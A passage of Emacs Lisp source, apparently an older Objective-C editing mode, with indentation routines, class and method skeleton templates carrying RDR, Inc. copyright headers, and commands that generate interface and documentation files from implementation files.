objective-C-auto-newline nil "*Non-nil means automatically newline before and after braces, and after colons and semicolons, inserted in C code.") (defconst objective-C-tab-always-indent t "*Non-nil means TAB in C mode should always reindent the current line, regardless of where in the line point is when the TAB command is used.") (defun objective-C-mode () " A major mode for the Objective-C language. Commands: Expression and list commands understand all Objective-C brackets. Tab anywhere on a line indents it according to Objective-C conventions. LF does a CR and then an indentation like above. Comments are delimited with /* ... */ or // to cr. Paragraphs are separated by blank lines only. Delete converts tabs to spaces as it moves back. \\{objective-C-mode-map} Variables controlling indentation style: objective-C-indent-level Indentation of C statements within surrounding block. The surrounding block's indentation is the indentation of the line on which the open-brace appears. Variables controlling directories of generated files: objective-C-interface-file-dir If non nil generated interface files will be put into this directory. The default is current directory. objective-C-document-file-dir If non nil generated dokument files will be put into this directory. The default is current directory. Skeletons of the major Objective-C constructs are inserted with: C-c c class header C-c m instanceMethod C-c f factoryMethod C-c p protocol C-c l limiter C-c h header in h file C-c <RET> method comment Other useful stuff C-c ? Describe objective-C mode C-c a Add signature to use in comments C-c v Return the version of this mode C-c C-c h Generate an interface file from the implementation file C-c C-c d Generate an documentation file from the implementation file Abbreviations: ry & ryes = return YES rn & rno = return NO rs & rself = return self rnil = return nil imp = @implementation intf = @interface st = STR bo = BOOL Turning on Objective-C mode calls the value of the variable objective-C-mode-hook with abbrevs, if that value is non-nil." (interactive) (kill-all-local-variables) (use-local-map objective-C-mode-map) (setq major-mode 'objective-C-mode) (setq mode-name "Objective-C") (setq local-abbrev-table objective-C-mode-abbrev-table) (set-syntax-table objective-C-mode-syntax-table) (make-local-variable 'paragraph-start) (setq paragraph-start (concat "^$\\|" page-delimiter)) (make-local-variable 'paragraph-separate) (setq paragraph-separate paragraph-start) (make-local-variable 'indent-line-function) (setq indent-line-function 'objective-C-indent-line) (make-local-variable 'require-final-newline) (setq require-final-newline t) (make-local-variable 'comment-start) (setq comment-start "/* ") (make-local-variable 'signatures) (setq signatures nil) (make-local-variable 'comment-end) (setq comment-end " */") (make-local-variable 'comment-column) (setq comment-column 32) (make-local-variable 'comment-start-skip) (setq comment-start-skip "/\\*+ *") (make-local-variable 'comment-indent-hook) (setq comment-indent-hook 'objective-C-comment-indent) (make-local-variable 'parse-sexp-ignore-comments) (setq parse-sexp-ignore-comments t) (setq objective-C-line-length 70) (make-local-variable 'super-filename) (setq super-filename nil) (run-hooks 'objective-C-mode-hook)) ;; ------------------------ EB Stuff --------------------------- ;;--------------- site-init.el --------------- START (defun eb-day (aString) (let ((a (car (cdr (assoc aString '((" 1" "01") (" 2" "02") (" 3" "03") (" 4" "04") (" 5" "05") (" 6" "06") (" 7" "07") (" 8" "08") (" 9" "09"))))))) (if (null a) aString a))) (defun eb-month (aString) (let ((a (car (cdr (assoc aString '(("JAN" "01") ("FEB" "02") ("MAR" "03") ("APR" "04") ("MAY" "05") ("JUN" "06") ("JUL" "07") ("AUG" "08") ("SEP" "09") ("OCT" "10") ("NOV" "11") ("DEC" "12") )))))) (if (null a) aString a))) (defun eb-date () "Return the current date in an EB Signal standard form" (concat (substring (current-time-string) -4 nil) "-" (eb-month (substring (current-time-string) 4 7)) "-" (eb-day (substring (current-time-string) 8 10)))) ;;--------------- site-init.el --------------- END ;; ------------------ File and Class name ------------------------ ;; return the type ".m" or ".h" kan be improved (defun file-type (&optional name) (substring (if (null name) (m-filename) name) -2 nil)) (defun m-filename () (file-name-nondirectory (file-name-sans-versions buffer-file-name))) (defun is-m-file (&optional name) (string-equal ".m" (file-type name))) (defun h-filename () (concat (substring (m-filename) 0 -2) ".h")) (defun h-file-dir () (if (null objective-C-interface-file-dir) "" objective-C-interface-file-dir)) (defun is-h-file (&optional name) (string-equal ".h" (file-type name))) (defun doc-filename () (concat (substring (m-filename) 0 -2) ".txt")) (defun doc-dir () (if (null objective-C-document-file-dir) "" objective-C-document-file-dir)) (defun class-from-filename (&optional name) (substring (if (null name) (m-filename) name) 0 (string-match "\\.\\([0-9]*\\.\\)?\\(m\\|h\\|txt\\)" (if (null name) (m-filename) name)))) (defun number-from-filename (&optional name) (let ((m-file (if (null name) (m-filename) name))) (substring m-file (string-match "\\([0-9]*\\)?\\.\\(m\\|h\\)" m-file) (- (length m-file) 2)))) ;; Tested and used. Not a very goodlooking (defun super-class () (let* ((row (concat "@implementation " (class-from-filename) "\\( \\|\t\\|\n\\)*" ":" "\\( \\|\t\\|\n\\)*")) (row2 (concat row "[a-zA-Z][a-zA-Z0-9$_]*")) (a-list (list (string-match row (buffer-string)) (match-end 0))) (b-list (list (string-match row2 (buffer-string)) (match-end 0)))) (cond ((null (car a-list)) nil) ((null (car b-list)) nil) (t (buffer-substring (1+ (cadr a-list)) (1+ (cadr b-list))))))) (defun super-class-number () (let ((sc (super-class)) (no nil)) (if (null sc) "NO_SUPER_CLASS_FOUND" (setq no (read-string (concat "Class number for superclass " (super-class) ": "))) (if (string-equal "" no) no (concat "." no))))) (defun super-hfilename (&optional number) (let ((sc (super-class)) (no (if (null number) (super-class-number) number))) (if (null sc) "NO_SUPER_CLASS_FOUND" (concat sc no ".h")))) ;; ---------------------- AUX ------------------------ (defun user-sign () (car (cdr (assoc (user-login-name) signatures)))) (defun cadr (l) (car (cdr l))) (defun odd (e) "True if it's argument is odd." (eq (% e 2) 1)) (defun e-empty-line-p () "True if current line is empty." (save-excursion (beginning-of-line) (looking-at "^[ \\t]*$"))) (defun insert-right (name diff &optional c) (let* ((u (- objective-C-line-length (length name) diff)) (fillChar (if (char-or-string-p c) c (string-to-char " ")))) (insert-char fillChar u) (insert name))) (defun insert-centered (name diff &optional c) "Inserts the name centered in the Objective-C environment diff is a number that tells how many positions that already are used on the line (/* */ = 4) and the optional c character is used to fill white space with." (let* ((toshare (- objective-C-line-length (length name) diff)) (u (/ toshare 2)) (fillChar (if (char-or-string-p c) c (string-to-char " ")))) (insert-char fillChar u) (insert name) (insert-char fillChar (if (odd toshare) (1+ u) u)))) (defun add-user-sign () (interactive) (let* ((name (user-login-name)) (sign (read-string (concat "Signature for " name ": ")))) (setq signatures (cons (list name sign) signatures)))) (defun classes-used () "Extract the used classes from the file" (save-excursion (let ((aString "")) (beginning-of-buffer) (re-search-forward "Classes used") (forward-line 1) (while (e-empty-line-p) (forward-line 1)) (beginning-of-line) (while (and (not (eobp)) (not (e-empty-line-p)) (looking-at "#import")) (setq aString (concat aString (grep-class-from-line) " ")) (forward-line 1) (beginning-of-line)) aString))) (defun beginning-of-line-point (&optional aBool) (save-excursion (beginning-of-line) (cond (aBool (skip-chars-forward " \t*/"))) (point))) (defun end-of-line-point (&optional aBool) (save-excursion (end-of-line) (cond (aBool (skip-chars-backward " \t*/"))) (point))) (defun grep-class-from-line () (let ((bp (beginning-of-line-point)) (ep (end-of-line-point))) (buffer-substring (+ bp 9) (- ep 3)))) (defun start-of-instance-point () (save-excursion (beginning-of-buffer) (search-forward "@implementation") (forward-line 1) (while (or (e-empty-line-p) (looking-at "{")) (forward-line 1) (beginning-of-line)) (point))) (defun end-of-instance-point () (save-excursion (beginning-of-buffer) (search-forward "@implementation") (search-forward "}") (forward-line -1) (while (e-empty-line-p) (forward-line -1)) (end-of-line) (point))) (defun have-instance-variables () (save-excursion (beginning-of-buffer) (search-forward "@implementation") (forward-line 1) (while (e-empty-line-p) (forward-line 1)) (skip-chars-forward " \t") (looking-at "{"))) (defun instance-variables () (cond ((have-instance-variables) (buffer-substring (start-of-instance-point) (end-of-instance-point))) (t "\t // none"))) (defun start-of-intro-point () (save-excursion (beginning-of-buffer) (cond ((null (search-forward "Introduction" (start-of-instance-point) t)) 1) (t (forward-line 1) (while (e-empty-line-p) (forward-line 1)) (beginning-of-line) (point))))) (defun end-of-intro-point () (save-excursion (beginning-of-buffer) (cond ((null (search-forward "Revision History" (start-of-instance-point) t)) 1) (t (forward-line -1) (while (e-empty-line-p) (forward-line -1)) (end-of-line) (point))))) (defun class-intro () (let ((si (start-of-intro-point)) (ei (end-of-intro-point))) (if (or (= si ei) (= si 1) (= ei 1)) "\tCan't extract the class description since the strings\n\tIntroduction and/or Revision History are missing in the source code." (buffer-substring si ei)))) (defun find-next-protocol-or-method () (beginning-of-line) (while (and (not (eobp)) (not (looking-at "/\\*=====")) (not (looking-at "+[a-zA-Z( ]")) (not (looking-at "-[a-zA-Z( ]"))) (forward-line 1) (beginning-of-line)) (cond ((looking-at "/\\*=====") (forward-line 1) (beginning-of-line))) (not (eobp))) (defun line-is-method () (save-excursion (beginning-of-line) (or (looking-at "+[a-zA-Z( ]") (looking-at "-[a-zA-Z( ]")))) (defun line-is-protocol () (save-excursion (forward-line -1) (beginning-of-line) (looking-at "/\\*====="))) (defun is-gps-comment () (save-excursion (let ((ordinary (is-ordinary-comment))) (beginning-of-line) (and (looking-at "---------") ordinary)))) (defun is-ordinary-comment () (save-excursion (and (char-equal ?* (char-after (- (point) 2))) (char-equal ?/ (char-after (- (point) 1))) (not (char-equal ?= (char-after (beginning-of-line-point))))))) (defun is-date-entry () (< 50 (- (beginning-of-line-point t) (beginning-of-line-point)))) (defun is-method-name-entry () (and (char-equal ?| (char-after (beginning-of-line-point t))) (char-equal ?| (char-after (- (end-of-line-point t) 1))))) (defun is-empty-line-info () (string-equal "" (buffer-substring (beginning-of-line-point t) (end-of-line-point)))) (defun is-not-crap-line () (and (not (is-date-entry)) (not (is-method-name-entry)) (not (is-empty-line-info)))) (defun look-for-comment-at-previous-line () (save-excursion (forward-line -1) (beginning-of-line) (skip-chars-forward "\t ") (and (char-equal ?/ (char-after (point))) (char-equal ?* (char-after (+ (point) 1)))))) (defun is-still-comment () (save-excursion (beginning-of-line) (skip-chars-forward "\t ") (if (and (char-equal ?/ (char-after (point))) (char-equal ?* (char-after (+ (point) 1)))) (look-for-comment-at-previous-line) t))) (defun is-objc-comment () (save-excursion (beginning-of-line) (looking-at "//"))) (defun gps-comment () (ordinary-comment)) (defun ordinary-comment () (let ((aStr "")) (forward-line -1) (while (is-still-comment) (beginning-of-line) (skip-chars-forward " \t*/") (cond ((is-not-crap-line) (setq aStr (concat (buffer-substring (point) (end-of-line-point t)) "\n" aStr)))) (forward-line -1)) aStr)) (defun objc-comment () (let ((aStr "")) (while (is-objc-comment) (beginning-of-line) (skip-chars-forward "/ ") (cond ((is-not-crap-line) (setq aStr (concat (buffer-substring (point) (end-of-line-point t)) "\n" aStr)))) (forward-line -1)) aStr)) (defun no-comment () "This method has not been documented in the source code.") (defun line-as-doc-file-delimiter () (save-excursion (beginning-of-line) (skip-chars-forward " \t") (setq start (point)) (end-of-line) (skip-chars-backward " \t") (concat "\n" (buffer-substring start (point)) "\n"))) (defun line-as-inteface-file-delimiter () (save-excursion (beginning-of-line) (skip-chars-forward " \t") (setq start (point)) (end-of-line) (skip-chars-backward " \t") (setq name (buffer-substring start (point))) (setq toshare (- objective-C-line-length (length name) 8)) (concat "\n/* " (make-string (/ toshare 2) ?-) " " (buffer-substring start (point)) " " (make-string (if (odd toshare) (+ (/ toshare 2) 1) (/ toshare 2)) ?-) " */"))) (defun skip-comment (str) (let ((p (string-match "//" str))) (cond ((null p) str) (t (substring str 0 p))))) (defun line-as-inteface-file-method () (save-excursion (beginning-of-line) (skip-chars-forward " \t") (setq start (point)) (re-search-forward "{") (backward-char 1) (skip-chars-backward " \t\n") (concat (skip-comment (buffer-substring start (point))) ";"))) (defun extract-method-comment () (forward-line -1) (while (e-empty-line-p) (forward-line -1)) (end-of-line) (skip-chars-backward " \t") (cond ((is-gps-comment) (gps-comment)) ((is-ordinary-comment) (ordinary-comment)) ((is-objc-comment) (objc-comment)) (t (no-comment)))) (defun method-description (method-name start-point) (save-excursion (goto-char start-point) (concat method-name "\n" (extract-method-comment)))) (defun line-as-doc-file-method () (save-excursion (beginning-of-line) (skip-chars-forward " \t") (setq start (point)) (re-search-forward "{") (backward-char 1) (skip-chars-backward " \t\n") (method-description (concat "|" (buffer-substring start (point)) "|") start))) (defun class-as-short () (save-excursion (let ((aString "")) (beginning-of-buffer) (re-search-forward "@implementation") (while (and (not (eobp)) (find-next-protocol-or-method)) (setq aString (concat aString (cond ((line-is-protocol) (line-as-doc-file-delimiter)) ((line-is-method) (line-as-doc-file-method)) (t "")) "\n")) (forward-line)) aString))) (defun class-as-short-no-comments () (save-excursion (let ((aString "")) (beginning-of-buffer) (re-search-forward "@implementation") (while (and (not (eobp)) (find-next-protocol-or-method)) (setq aString (concat aString (cond ((line-is-protocol) (line-as-inteface-file-delimiter)) ((line-is-method) (line-as-inteface-file-method)) (t "")) "\n")) (forward-line)) aString))) ;; ------------------ Objective-C mode ------------------- (defun describe-objective-C-mode () (interactive) (describe-mode)) (defun objective-C-mfile-header () "Build a class skeleton prompting for class name." (interactive) (if (not (is-m-file)) (message "This is not an implementation file (.m)!") (let* ((file (m-filename)) (class (class-from-filename)) (nr (number-from-filename)) (cname (read-string "Class: " class)) (super (read-string "Super: "))) (if (not (e-empty-line-p)) (progn (end-of-line)(newline))) (indent-to 0) (insert "/* ") (insert-char ?- (- objective-C-line-length 3)) (insert "\n\n") (insert "\tRDR, Inc. \n\n") (insert "\tObjective-C source file for the class " cname "\n\n") (insert "\tCOPYRIGHT (C), " (substring (current-time-string) -4 nil) ", RDR, Inc.\n") (insert "\tALL RIGHTS RESERVED.\n\n") (insert "\tResponsible:\t\t\tApproved:\n") (insert "\tRDR:" (user-full-name) "\t\t\n\n") (insert "\tDate:\t\t\t\tRev:\n") (insert "\t" (eb-date) "\t\t\t___\n\n") ; (insert "\tReference:\t\t\tDocument no:\n") ; (insert "\tLXA 108 104\t\t\t1/190 55 - CAL 124 1" ; (if (string-equal "" nr) "***" nr) "\n\n\n\n\n") (insert-centered cname 0) (insert "\n\n") (insert "\t1. Introduction") (insert "\n\n\n") (insert "\t2. Revision History") (insert "\n\n") (insert "\t___\tThe starting point.\t\t\t" (user-full-name) "/" (eb-date) "\n\n\n") (insert "\t3. Source Code") (insert "\n\n") (insert-char ?- (- objective-C-line-length 3)) (insert " */\n\n") (comment-line "Import files") (insert "#import <appkit/appkit.h>\n\n") (comment-line " Classes used ") (insert "#import \"foo.h\"\n\n") (comment-line " Externals ") (insert "\n\n") (comment-line " Defines ") (insert "\n\n") (comment-line " Class variables ") (insert "\n\n") (comment-box (concat "Implementation of class " cname)) (insert "#import \"" (concat (substring file 0 -1) "h") "\"\n\n") (insert "@implementation " cname " : " super"\n{\n\n}\n\n") (comment-box "Instance Creation") (insert "\n\n") (comment-box "Initialize") (insert "\n\n") (comment-box "Free") (insert "\n\n") (insert "@end\n")) (re-search-backward "@implementation") (next-line 2) (objective-C-indent-line))) (defun objective-C-hfile-header (&optional classname super-filename) "Gives an interface file sceleton." (interactive) (if (not (is-h-file)) (message "This is not an interface file (.h)!") (let* ((class (if (null classname) (class-from-filename) classname)) (cname (read-string "Class: " class)) (nr (number-from-filename)) (super (if (null super-filename) (concat (read-string "Super: ") ".h") super-filename))) (insert "/* ") (insert-char ?- (- objective-C-line-length 3)) (insert "\n\n") (insert "\tRDR, Inc. \n\n") (insert "\tObjective-C interface file for the class " cname "\n\n") (insert "\tCOPYRIGHT (C), " (substring (current-time-string) -4 nil) ", RDR, Inc.\n") (insert "\tALL RIGHTS RESERVED.\n\n") (insert "\tResponsible:\t\t\tApproved:\n") (insert "\tRDR:" (user-full-name) "\t\t\n\n") (insert "\tDate:\t\t\t\tRev:\n") (insert "\t" (eb-date) "\t\t\t___\n\n") (insert "\tReference:\t\t\tDocument no:\n") ; (insert "\tLXA 108 104\t\t\t2/190 55 - CAL 124 1" ; (if (string-equal "" nr) "***" nr) "\n\n") ; (insert-char ?- (- objective-C-line-length 3)) (insert " */\n\n") (comment-box (concat "Interface of class " cname)) (insert "#import \"" super "\"\n\n") (insert "@interface " cname " : " (class-from-filename super) "\n{\n\n}\n\n") (insert "@end\n")) (re-search-backward "@interface") (next-line 2) (objective-C-indent-line))) (defun generate-Objective-C-hfile () "Generate the interface file for the current implementation file." (interactive) (let* ((file-name (read-string "Interface file name: " (concat (h-file-dir) (h-filename)))) (buf (create-file-buffer file-name)) (class (class-from-filename)) (no (number-from-filename)) (instance (instance-variables)) (short (class-as-short-no-comments)) (super (super-hfilename))) (set-buffer buf) (set-visited-file-name file-name) (insert "/* ") (insert-char ?- (- objective-C-line-length 3)) (insert "\n\n") (insert "\tRDR, Inc. \n\n") (insert "\tObjective-C interface file for the class " class "\n\n") (insert "\tCOPYRIGHT (C), " (substring (current-time-string) -4 nil) ", RDR, Inc.\n") (insert "\tALL RIGHTS RESERVED.\n\n") (insert "\tResponsible:\t\t\tApproved:\n") (insert "\tRDR:" (user-full-name) "\t\t\n\n") (insert "\tDate:\t\t\t\tRev:\n") (insert "\t" (eb-date) "\t\t\t___\n\n") (insert "\tReference:\t\t\tDocument no:\n") ; (insert "\tLXA 108 104\t\t\t2/190 55 - CAL 124 1" ; (if (string-equal "" no) "***" no) "\n\n") ; (insert-char ?- (- objective-C-line-length 3)) (insert " */\n\n") (comment-box (concat "Interface of class " class)) (insert "#import \"" super "\"\n\n") (insert "@interface " class " : " (class-from-filename super) "\n{\n") (insert instance) (insert "\n}\n") (insert short) (insert "\n@end\n") (beginning-of-buffer) (display-buffer buf))) (defun generate-Objective-C-documentation () "Open a new buffer and write the documentation there." (interactive) (let* ((file-name (read-string "Documentation file name: " (concat (doc-dir) (doc-filename)))) (buf (create-file-buffer file-name)) (used (classes-used)) (class (class-from-filename)) (super (super-class)) (no (number-from-filename)) (instance (instance-variables)) (short (class-as-short)) (intro (class-intro))) (set-buffer buf) (set-visited-file-name file-name) (indent-to 0) (insert-char ?- objective-C-line-length) (insert "\n\n") (insert "\tRDR, Inc. \n\n") (insert "\tObjective-C documentation file for the class " class "\n") (insert "\tCOPYRIGHT (C), " (substring (current-time-string) -4 nil) ", RDR, Inc.\n\n") (insert "\tResponsible:\t\t\tApproved:\n") (insert "\tRDR:" (user-full-name) "\t\t\n\n") (insert "\tDate:\t\t\t\tRev:\n") (insert "\t" (eb-date) "\t\t\t___\n\n") (insert "\tReference:\t\t\tDocument no:\n") ; (insert "\tLXA 108 104\t\t\t1551 - CAL 124 1" ; (if (string-equal "" no) ;"***" ; no) "\n\n") ; (insert-char ?- objective-C-line-length) (insert "\n\n\n") (insert-centered class 0) (insert "\n\n\n\tInherits from:\t\t" super "\n\n") (insert "\tClasses used:\t\t" used "\n\n") (insert "\tInterface file:\t\t" class "." no ".h" "\n\n") (insert "\tImplementation file:\t" class "." no ".m" "\n\n\n") (insert-centered "Introduction" 0) (insert "\n\n") (insert intro) (insert "\n\n") (insert-centered "Instance Variables" 0) (insert "\n\n") (insert instance) (insert "\n\n") (insert-centered "Methods" 0) (insert "\n") (insert short) (insert "\nEnd\n") (beginning-of-buffer) (display-buffer buf))) (defun comment-box (name) "Print name in an comment-box" (if (not (e-empty-line-p)) (progn (end-of-line)(newline))) (insert "/*") (insert-centered "" 2 ?=) (insert "\n") (insert-centered name 0 (string-to-char " ")) (insert "\n") (insert-centered "" 2 ?=) (insert "*/\n")) (defun comment-line (name) "Print name in an comment-line" (if (not (e-empty-line-p)) (progn (end-of-line)(newline))) (insert "/* ") (insert-centered (concat " " name " ") 6 ?-) (insert " */\n")) (defun point-bol () "Returns the value of the point at the beginning of the current line." (save-excursion (beginning-of-line) (point))) (defun within-string-p (point1 point2) "Returns true if number of double quotes between two points is odd." (let ((s (buffer-substring point1 point2))) (not (zerop (mod (count-char-in-string ?\" s) 2))))) (defun count-char-in-string (c s) (let ((count 0) (pos 0)) (while (< pos (length s)) (setq count (+ count (if (\= (aref s pos) c) 1 0))) (setq pos (1+ pos))) count)) (defun objective-C-protocol () "Build a protocol skeleton prompting for protocol name." (interactive) (comment-box (read-string "Protocol name: "))) (defun objective-C-codelimit () "Print name on a centered line." (interactive) (comment-line (read-string "Centered text: "))) (defun objective-C-method (prefix name) (indent-to 0) (insert "/*") (insert-centered "" 2 ?-) (insert "\n") (insert "|" prefix name "| \n" (if (string-equal "-" prefix) "Return self.\n" "\n")) (insert-right (concat (user-full-name) "/" (eb-date)) 0) (insert "\n") (insert-centered "" 2 ?-) (insert "*/\n") (insert prefix name "\n") (insert "{\n") (indent-to objective-C-indent-level) (if (string-equal "+" prefix) (insert "self = [super new];\n") (insert "\n")) (indent-to objective-C-indent-level) (insert "return self;\n") (insert "}\n\n") (next-line -4)) (defun objective-C-method-comment () "Insert a comment according to the style used with methods in GPS" (interactive) (indent-to 0) (insert "/*") (insert-centered "" 2 ?-) (insert "\n\n\n") (insert-right (concat (user-full-name) "/" (eb-date)) 0) (insert "\n") (insert-centered "" 2 ?-) (insert "*/\n")) (defun objective-C-instance-method () "Build a routine skeleton prompting for method name." (interactive) (if (not (e-empty-line-p)) (progn (end-of-line)(newline))) (objective-C-method "-" (read-string "Instance method name: "))) (defun objective-C-factory-method () "Build a routine skeleton prompting for method name." (interactive) (if (not (e-empty-line-p)) (progn (end-of-line)(newline))) (objective-C-method "+" (read-string "Factory method name: "))) ;; ------------------ C- mode fix --------------------- ;; This is used by indent-for-comment ;; to decide how much to indent a comment in C code ;; based on its context. (defun objective-C-comment-indent () (if (looking-at "^\\(/\\*\\|//\\)") 0;Existing comment at bol stays there. (save-excursion (skip-chars-backward " \t") (max (1+ (current-column));Else indent at comment column comment-column)))); except leave at least one space. ;; implement this function later (defun electric-objective-C-keyword-match () "Match two following lines with keyword arguments" (interactive) (insert ":")) (defun electric-objective-C-brace (arg) "Insert character and correct line's indentation." (interactive "P") (let (insertpos) (if (and (not arg) (eolp) (or (save-excursion (skip-chars-backward " \t") (bolp)) (if objective-C-auto-newline (progn (objective-C-indent-line) (newline) t) nil))) (progn (insert last-command-char) (objective-C-indent-line) (if objective-C-auto-newline (progn (setq insertpos (1- (point))) (newline) (objective-C-indent-line))) (save-excursion (if insertpos (goto-char (1+ insertpos))) (delete-char -1)))) (if insertpos (save-excursion (goto-char insertpos) (self-insert-command (prefix-numeric-value arg))) (self-insert-command (prefix-numeric-value arg))))) (defun electric-objective-C-semi (arg) "Insert character and correct line's indentation." (interactive "P") (if objective-C-auto-newline (electric-objective-C-terminator arg) (self-insert-command (prefix-numeric-value arg)))) (defun electric-objective-C-terminator (arg) "Insert character and correct line's indentation." (interactive "P") (let (insertpos (end (point))) (if (and (not arg) (eolp) (not (save-excursion (beginning-of-line) (skip-chars-forward " \t") (or (= (following-char) ?#) ;; Colon is special only after a label, or case .... ;; So quickly rule out most other uses of colon ;; and do no indentation for them. (and (eq last-command-char ?:) (not (looking-at "case")) (save-excursion (forward-word 2) (<= (point) end))) (progn (beginning-of-defun) (let ((pps (parse-partial-sexp (point) end))) (or (nth 3 pps) (nth 4 pps) (nth 5 pps)))))))) (progn (insert last-command-char) (objective-C-indent-line) (and objective-C-auto-newline (not (objective-C-inside-parens-p)) (progn (setq insertpos (1- (point))) (newline) (objective-C-indent-line))) (save-excursion (if insertpos (goto-char (1+ insertpos))) (delete-char -1)))) (if insertpos (save-excursion (goto-char insertpos) (self-insert-command (prefix-numeric-value arg))) (self-insert-command (prefix-numeric-value arg))))) (defun objective-C-inside-parens-p () (condition-case () (save-excursion (save-restriction (narrow-to-region (point) (progn (beginning-of-defun) (point))) (goto-char (point-max)) (= (char-after (or (scan-lists (point) -1 1) (point-min))) ?\())) (error nil))) (defun objective-C-indent-command (&optional whole-exp) (interactive "P") "Indent current line as C code, or in some cases insert a tab character. If objective-C-tab-always-indent is non-nil (the default), always indent current line. Otherwise, indent the current line only if point is at the left margin or in the line's indentation; otherwise insert a tab. A numeric argument, regardless of its value, means indent rigidly all the lines of the expression starting after point so that this line becomes properly indented. The relative indentation among the lines of the expression are preserved." (if whole-exp ;; If arg, always indent this line as C ;; and shift remaining lines of expression the same amount. (let ((shift-amt (objective-C-indent-line)) beg end) (save-excursion (if objective-C-tab-always-indent (beginning-of-line)) (setq beg (point)) (forward-sexp 1) (setq end (point)) (goto-char beg) (forward-line 1) (setq beg (point))) (if (> end beg) (indent-code-rigidly beg end shift-amt "#"))) (if (and (not objective-C-tab-always-indent) (save-excursion (skip-chars-backward " \t") (not (bolp)))) (insert-tab) (objective-C-indent-line)))) (defun objective-C-indent-line () "Indent current line as C code. Return the amount the indentation changed by." (let ((indent (calculate-objective-C-indent nil)) beg shift-amt (case-fold-search nil) (pos (- (point-max) (point)))) (beginning-of-line) (setq beg (point)) (cond ((eq indent nil) (setq indent (current-indentation))) ((eq indent t) (setq indent (calculate-objective-C-indent-within-comment))) ((looking-at "[ \t]*#") (setq indent 0)) (t (skip-chars-forward " \t") (if (listp indent) (setq indent (car indent))) (cond ((or (looking-at "case\\b") (looking-at "default:")) (setq indent (max 1 (+ indent objective-C-label-offset)))) ;; ;; Hack of the day by dstutz -- labels won't indent right because of it... ;; ((and (looking-at "[A-Za-z]") (save-excursion (forward-sexp 1) (looking-at ":"))) (save-excursion (forward-line -1) (if (search-forward ":") (progn (forward-sexp -1) (setq indent (current-column)))))) ;; Here is the excised code... ;; ;; (cond ((or (looking-at "case\\b") ;; (and (looking-at "[A-Za-z]") ;; (save-excursion ;; (forward-sexp 1) ;; (looking-at ":")))) ;; (setq indent (max 1 (+ indent objective-C-label-offset)))) ;; ;; ((and (looking-at "else\\b") (not (looking-at "else\\s_"))) (setq indent (save-excursion (objective-C-backward-to-start-of-if) (current-indentation)))) ((= (following-char) ?}) (setq indent (- indent objective-C-indent-level))) ((= (following-char) ?{) (setq indent (+ indent objective-C-brace-offset)))))) (skip-chars-forward " \t") (setq shift-amt (- indent (current-column))) (if (zerop shift-amt) (if (> (- (point-max) pos) (point)) (goto-char (- (point-max) pos))) (delete-region beg (point)) (indent-to indent) ;; If initial point was within line's indentation, ;; position after the indentation. Else stay at same point in text. (if (> (- (point-max) pos) (point)) (goto-char (- (point-max) pos)))) shift-amt)) (defun calculate-objective-C-indent (&optional parse-start) "Return appropriate indentation for current line as C code. In usual case returns an integer: the column to indent to. Returns nil if line starts inside a string, t if in a comment." (save-excursion (beginning-of-line) (let ((indent-point (point)) (case-fold-search nil) state containing-sexp) (if parse-start (goto-char parse-start) (beginning-of-defun)) (while (< (point) indent-point) (setq parse-start (point)) (setq state (parse-partial-sexp (point) indent-point 0)) (setq containing-sexp (car (cdr state)))) (cond ((or (nth 3 state) (nth 4 state)) ;; return nil or t if should not change this line (nth 4 state)) ((null containing-sexp) ;; Line is at top level. May be data or function definition, ;; or may be function argument declaration. ;; Indent like the previous top level line ;; unless that ends in a closeparen without semicolon, ;; in which case this line is the first argument decl. (goto-char indent-point) (skip-chars-forward " \t") (if (= (following-char) ?{) 0 ; Unless it starts a function body (objective-C-backward-to-noncomment (or parse-start (point-min))) ;; Look at previous line that's at column 0 ;; to determine whether we are in top-level decls ;; or function's arg decls. Set basic-indent accordingly. (let ((basic-indent (save-excursion (re-search-backward "^[^ \^L\t\n#]" nil 'move) (if (and (looking-at "\\sw\\|\\s_") (looking-at ".*(") (progn (goto-char (1- (match-end 0))) (forward-sexp 1) (and (< (point) indent-point) (not (memq (following-char) '(?\, ?\;)))))) objective-C-argdecl-indent 0)))) ;; Now add a little if this is a continuation line. (+ basic-indent (if(or (bobp) (memq (preceding-char) '(?\) ?\; ?\}))) 0 0))))) ((/= (char-after containing-sexp) ?{) ;; line is expression, not statement: ;; indent to just after the surrounding open. (goto-char (1+ containing-sexp)) (current-column)) (t ;; Statement level. Is it a continuation or a new statement? ;; Find previous non-comment character. (goto-char indent-point) (objective-C-backward-to-noncomment containing-sexp) ;; Back up over label lines, since they don't ;; affect whether our line is a continuation. (while (or (eq (preceding-char) ?\,) (and (eq (preceding-char) ?:) (or (eq (char-after (- (point) 2)) ?\') (memq (char-syntax (char-after (- (point) 2))) '(?w ?_))))) (if (eq (preceding-char) ?\,) (objective-C-backward-to-start-of-continued-exp containing-sexp)) (beginning-of-line) (objective-C-backward-to-noncomment containing-sexp)) ;; Now we get the answer. (if (not (memq (preceding-char) '(nil ?\, ?\; ?\} ?\{))) ;; This line is continuation of preceding line's statement; ;; indent objective-C-continued-statement-offset more than the ;; previous line of the statement. (progn (objective-C-backward-to-start-of-continued-exp containing-sexp) (+ objective-C-continued-statement-offset (current-column))) ;; This line starts a new statement. ;; Position following last unclosed open. (goto-char containing-sexp) ;; Is line first statement after an open-brace? (or ;; If no, find that first statement and indent like it. (save-excursion (forward-char 1) (let ((colon-line-end 0)) (while (progn (skip-chars-forward " \t\n") (looking-at "#\\|/\\*\\|case[ \t\n].*:\\|[a-zA-Z0-9_$]*:")) ;; Skip over comments and labels following openbrace. (cond ((= (following-char) ?\#) (forward-line 1)) ((= (following-char) ?\/) (forward-char 2) (search-forward "*/" nil 'move)) ;; case or label: (t (save-excursion (end-of-line) (setq colon-line-end (point))) (search-forward ":")))) ;; The first following code counts ;; if it is before the line we want to indent. (and (< (point) indent-point) (if (> colon-line-end (point)) (- (current-indentation) objective-C-label-offset) (current-column))))) ;; If no previous statement, ;; indent it relative to line brace is on. ;; For open brace in column zero, don't let statement ;; start there too. If objective-C-indent-offset is zero, ;; use objective-C-brace-offset + objective-C-continued-statement-offset instead. ;; For open-braces not the first thing in a line, ;; add in objective-C-brace-imaginary-offset. (+ (if (and (bolp) (zerop objective-C-indent-level)) (+ objective-C-brace-offset objective-C-continued-statement-offset) objective-C-indent-level) ;; Move back over whitespace before the openbrace. ;; If openbrace is not first nonwhite thing on the line, ;; add the objective-C-brace-imaginary-offset. (progn (skip-chars-backward " \t") (if (bolp) 0 objective-C-brace-imaginary-offset)) ;; If the openbrace is preceded by a parenthesized exp, ;; move to the beginning of that; ;; possibly a different line (progn (if (eq (preceding-char) ?\)) (forward-sexp -1)) ;; Get initial indentation of the line we are on. (current-indentation)))))))))) (defun calculate-objective-C-indent-within-comment () "Return the 